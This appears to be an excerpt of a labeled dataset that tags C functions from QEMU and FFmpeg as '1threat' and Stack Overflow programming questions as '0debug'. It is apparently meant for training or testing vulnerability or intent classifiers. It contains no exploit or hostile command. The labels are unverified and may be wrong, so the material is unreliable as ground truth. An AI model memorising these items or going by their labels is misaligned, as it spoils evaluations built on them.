uint64_t HELPER(neon_abdl_s32)(uint32_t a, uint32_t b)
{
uint64_t tmp;
uint64_t result;
DO_ABD(result, a, b, int16_t);
DO_ABD(tmp, a >> 16, b >> 16, int16_t);
return result | (tmp << 32);
}
| 1threat |
Creating single linked list in c++ : <p>I am a beginner in coding and i am creating a linked list(without using class concept), but this is not working, please help.</p>
<pre><code>#include<iostream>
#include<malloc.h>
using namespace std;
struct node{
int data;
node *next;
};
void add(int n){
node *head = NULL;
node *temp = (node*)malloc(sizeof(node));
temp->data = n;
temp->next = head;
head=temp;
}
void traverse(){
node *temp1 = head;
while(temp1!=NULL){
cout<<temp1->data;
temp1 = temp1->next;
}
}
int main(){
add(1);
add(2);
add(3);
traverse();
return 0;
}
</code></pre>
| 0debug |
static av_cold int rv30_decode_init(AVCodecContext *avctx)
{
RV34DecContext *r = avctx->priv_data;
int ret;
r->rv30 = 1;
if ((ret = ff_rv34_decode_init(avctx)) < 0)
return ret;
if(avctx->extradata_size < 2){
av_log(avctx, AV_LOG_ERROR, "Extradata is too small.\n");
return -1;
}
r->rpr = (avctx->extradata[1] & 7) >> 1;
r->rpr = FFMIN(r->rpr + 1, 3);
if(avctx->extradata_size - 8 < (r->rpr - 1) * 2){
av_log(avctx, AV_LOG_ERROR, "Insufficient extradata - need at least %d bytes, got %d\n",
6 + r->rpr * 2, avctx->extradata_size);
return AVERROR(EINVAL);
}
r->parse_slice_header = rv30_parse_slice_header;
r->decode_intra_types = rv30_decode_intra_types;
r->decode_mb_info = rv30_decode_mb_info;
r->loop_filter = rv30_loop_filter;
r->luma_dc_quant_i = rv30_luma_dc_quant;
r->luma_dc_quant_p = rv30_luma_dc_quant;
return 0;
}
| 1threat |
static target_ulong helper_sdiv_common(CPUSPARCState *env, target_ulong a,
target_ulong b, int cc)
{
SPARCCPU *cpu = sparc_env_get_cpu(env);
int overflow = 0;
int64_t x0;
int32_t x1;
x0 = (a & 0xffffffff) | ((int64_t) (env->y) << 32);
x1 = (b & 0xffffffff);
if (x1 == 0) {
cpu_restore_state(CPU(cpu), GETPC());
helper_raise_exception(env, TT_DIV_ZERO);
}
x0 = x0 / x1;
if ((int32_t) x0 != x0) {
x0 = x0 < 0 ? 0x80000000 : 0x7fffffff;
overflow = 1;
}
if (cc) {
env->cc_dst = x0;
env->cc_src2 = overflow;
env->cc_op = CC_OP_DIV;
}
return x0;
}
| 1threat |
unicode character color issue : <p>Can't change color on the following characters:</p>
<pre><code><div style="font-size: 25px; color:red;">&#128269;</div>
<div style="font-size: 25px; color:red;">&#128227;</div>
</code></pre>
<p>while some other unicode chars accept color property:</p>
<pre><code><div style="font-size: 25px; color:red;">&#9881;</div>
</code></pre>
<p>Is there any way to change color on the previous chars?</p>
<p><a href="https://jsfiddle.net/cs5053ka/" rel="noreferrer">https://jsfiddle.net/cs5053ka/</a></p>
| 0debug |
Regular Expression to extract specific text from string : <p>I am new to Regex and try to extract a 16x character piece of text from a list of strings. </p>
<p>Sample list:</p>
<pre><code>myString = [' pon-3-1 | UnReg 5A594F4380661123 1234567890 Active',
' pon-3-1 | UnReg 5A594F43805FA456 1234567890 Active',
' pon-3-1 | UnReg 4244434D73B24789 1234567890 Active',
' pon-3-1 | UnReg 5A594F43805FB000 1234567890 Active',
'sw-frombananaramatoyourmama-01'
]
</code></pre>
<p>I cannot use a simple regex like (\w{16}) as this will include all text with 16 characters.
I also tried (\w+A) which, depending on the characters in the string, don't return the correct results. </p>
<pre class="lang-py prettyprint-override"><code>newArry = []
for i in myString:
number = re.search('(\w{16})', i)
newArr.append(number[0])
print(newArr)
</code></pre>
<p>Returns:</p>
<pre class="lang-py prettyprint-override"><code>['5A594F4380661123', '5A594F43805FA456', '4244434D73B24789', '5A594F43805FB000', 'frombananaramato']
</code></pre>
<ol>
<li>I want to extract only:
<ul>
<li>5A594F4380661123</li>
<li>5A594F43805FA456</li>
<li>4244434D73B24789</li>
<li>5A594F43805FB000</li>
</ul></li>
</ol>
<p>Any ideas?</p>
<p>Many thanks in advance</p>
| 0debug |
How to replace price to another currency in Woocommerce? : I need the help of the community.
I use a visual product builder that allow my client to build their own products and I need multi-currency support. The problem is that i can't use multi-currency plugin because the visual builder doesn't support it.
Mi question is : How modify price of the cart for other currency ?
I need for example to modify final cart price like this
10€ > 15$
20€ > 20$
Thank you very much | 0debug |
static uint64_t mcf_fec_read(void *opaque, target_phys_addr_t addr,
unsigned size)
{
mcf_fec_state *s = (mcf_fec_state *)opaque;
switch (addr & 0x3ff) {
case 0x004: return s->eir;
case 0x008: return s->eimr;
case 0x010: return s->rx_enabled ? (1 << 24) : 0;
case 0x014: return 0;
case 0x024: return s->ecr;
case 0x040: return s->mmfr;
case 0x044: return s->mscr;
case 0x064: return 0;
case 0x084: return s->rcr;
case 0x0c4: return s->tcr;
case 0x0e4:
return (s->conf.macaddr.a[0] << 24) | (s->conf.macaddr.a[1] << 16)
| (s->conf.macaddr.a[2] << 8) | s->conf.macaddr.a[3];
break;
case 0x0e8:
return (s->conf.macaddr.a[4] << 24) | (s->conf.macaddr.a[5] << 16) | 0x8808;
case 0x0ec: return 0x10000;
case 0x118: return 0;
case 0x11c: return 0;
case 0x120: return 0;
case 0x124: return 0;
case 0x144: return s->tfwr;
case 0x14c: return 0x600;
case 0x150: return s->rfsr;
case 0x180: return s->erdsr;
case 0x184: return s->etdsr;
case 0x188: return s->emrbr;
default:
hw_error("mcf_fec_read: Bad address 0x%x\n", (int)addr);
return 0;
}
}
| 1threat |
Using python to code Ev3 windows : <p>I was going around the internett and i found out that you can code Mindstorm with python, however it was for Linux only and im running windows. Is there a way/website where i can learn how to connect python up to mindstorms and get sensor data?</p>
| 0debug |
How to use .forRoot() within feature modules hierarchy : <p>Can anyone please clarify to me how should I structure multiple nested feature modules hierarchy with .forRoot() calls?</p>
<p>For example what if I have modules like this:</p>
<pre><code>- MainModule
- SharedModule
- FeatureModuleA
- FeatureModuleA1
- FeatureModuleA2
- FeatureModuleB
</code></pre>
<p>All feature modules has a .forRoot() static functions. </p>
<p>How should I define <em>FeatureModuleA</em> with somehow "transfer" the .forRoot() functions?</p>
<pre><code>@NgModule({
imports: [
//- I can use .forRoot() calls here but this module not the root module
//- I don't need to import sub-modules here, FeatureA only a wrapper
//FeatureModuleA1.forRoot(), //WRONG!
//FeatureModuleA2.forRoot(), //WRONG!
],
exports: [
//I cannot use .forRoot() calls here
FeatureModuleA1,
FeatureModuleA2
]
})
class FeatureModuleA {
static forRoot(): ModuleWithProviders {
return {
//At this point I can set any other class than FeatureModuleA for root
//So lets create a FeatureRootModuleA class: see below!
ngModule: FeatureModuleA //should be: FeatureRootModuleA
};
}
}
</code></pre>
<p>I can create another class for root usage then set it within the forRoot() function of FeatureModuleA: </p>
<pre><code>@NgModule({
imports: [
//Still don't need any sub module within this feature module
]
exports: [
//Still cannot use .forRoot() calls but still need to export them for root module too:
FeatureModuleA1,
FeatureModuleA2
]
})
class FeatureRootModuleA { }
</code></pre>
<blockquote>
<p>But how can I "transfer" .forRoot() calls within this special
ModuleClass?</p>
</blockquote>
<p>As I see I need to import all sub-modules directly into my root MainModule and call .forRoot() for each there:</p>
<pre><code>@NgModule({
imports: [
FeatureModuleA1.forRoot(),
FeatureModuleA2.forRoot(),
FeatureModuleA.forRoot(),
SharedModule.forRoot()
]
})
class MainModule { }
</code></pre>
<p>Am I right? Before you answer please take a look at this file:
<a href="https://github.com/angular/material2/blob/master/src/lib/module.ts">https://github.com/angular/material2/blob/master/src/lib/module.ts</a></p>
<p>As I know this repo maintained by the official angular team. So they solve the above with just importing all .forRoot() calls within a special MaterialRootModule module. I don't really understand how it would be applied for my own root module? What does the <strong>root</strong> and <strong>.forRoot</strong> really means here? Is that relative to the package and not to the actual web project?</p>
| 0debug |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.